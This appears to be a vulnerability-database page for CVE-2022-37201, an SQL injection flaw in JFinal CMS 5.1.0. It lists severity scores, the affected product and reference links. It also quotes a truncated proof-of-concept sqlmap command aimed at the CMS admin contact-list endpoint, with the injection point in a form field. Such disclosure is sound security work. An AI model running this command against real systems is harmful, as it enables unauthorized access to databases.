Recent Vulnerabilities Research Posts Trends Blog About Contact

Published: 15/09/2022 Updated: 19/09/2022

CVSS v3 Base Score: 8.8 | Impact Score: 5.9 | Exploitability Score: 2.8

VMScore: 0

JFinal CMS 5.1.0 is vulnerable to SQL Injection.

Vulnerable Product	Search on Vulmon	Subscribe to Product
jflyfox jfinal cms 5.1.0

CVE-2022-37201 POC

CVE-2022-37201 CVE-2022-37201 POC POC First of all you should install sqlmap you need set target domain or IP your cookie the run the shell sqlmap -u targetDomainOrIP/jfinal_cms/jfinal_cms/admin/contact/list --thread 8 --batch --smart --random-agent --data " formorderColumn=*&formorderAsc=&attrname=%E4%B8%89&totalRecords=2&pag

CWE-89 https://github.com/AgainstTheLight/someEXP_of_jfinal_cms/blob/main/jfinal_cms/sql4.md https://github.com/AgainstTheLight/CVE-2022-37201/blob/main/README.md https://nvd.nist.gov https://github.com/AgainstTheLight/CVE-2022-37201

Get Started

Vulmon Search is a vulnerability search engine. It gives comprehensive vulnerability information through a very simple user interface.

Home Recent Vulnerabilities Research Posts Trends Blog About Contact

Vulmon Search Vulmon Research Vulmon Alerts Vulmap

Twitter Reddit Linkedin Facebook

CVE-2022-37201

Vulnerability Summary

Vulnerability Trend

Github Repositories

References

Vulmon Search

About

Products

Connect